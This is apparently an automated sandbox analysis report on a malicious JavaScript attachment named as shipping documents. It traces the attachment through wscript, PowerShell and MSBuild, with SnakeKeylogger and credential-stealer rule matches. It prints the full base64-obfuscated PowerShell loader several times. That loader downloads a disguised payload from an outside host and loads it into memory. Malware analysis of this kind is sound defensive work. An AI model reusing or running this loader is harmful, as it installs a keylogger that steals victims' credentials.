Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A972E28	10_2_00007FF88A972E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026BC530	12_2_026BC530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026B2DD1	12_2_026B2DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026B9480	12_2_026B9480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026B19B8	12_2_026B19B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026BC521	12_2_026BC521
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_026B946F	12_2_026B946F

Source: Shipping Documents SI 694_pdf.js

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3066
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3066			Jump to behavior

Source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winJS@6/3@7/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2440:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vi3ritig.bym.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002916000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.00000000028E3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002923000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.00000000028F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2511131331.000000000382D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Shipping Documents SI 694_pdf.js

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmAC